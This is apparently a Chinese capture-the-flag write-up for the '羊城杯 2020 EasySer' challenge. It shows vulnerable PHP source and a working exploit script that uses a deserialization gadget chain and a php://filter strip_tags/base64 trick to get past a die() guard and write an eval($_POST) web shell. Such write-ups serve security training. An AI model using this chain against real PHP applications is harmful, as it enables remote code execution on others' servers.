[羊城杯 2020]EasySer

源码

 <?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';

class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yasuo;
    }
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;

    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
         @file_put_contents($this-> file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
}

?> url error
your hat is too black!

解题步骤

经典robots.txt提示，然后ssrf就能拿到源码。
没啥好说的。源码没全，还要用arjun来扫出另外一个get参数c。

关键就是如何将die命令搞没。
这里需要php:// 伪协议进行过滤。先string.strip_tags把<??>过滤掉，然后再用base64解码就可以写入shell了。
直接exp：

<?php

class GWHT{
    public $hero;
}
class Yongen{ //flag.php
    public $file="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
    public $text="PD9waHAgZXZhbCgkX1BPU1RbJ2FzZCddKT8+";
}

$a = new GWHT();
$a->hero=new Yongen();
echo urlencode(serialize($a));
?>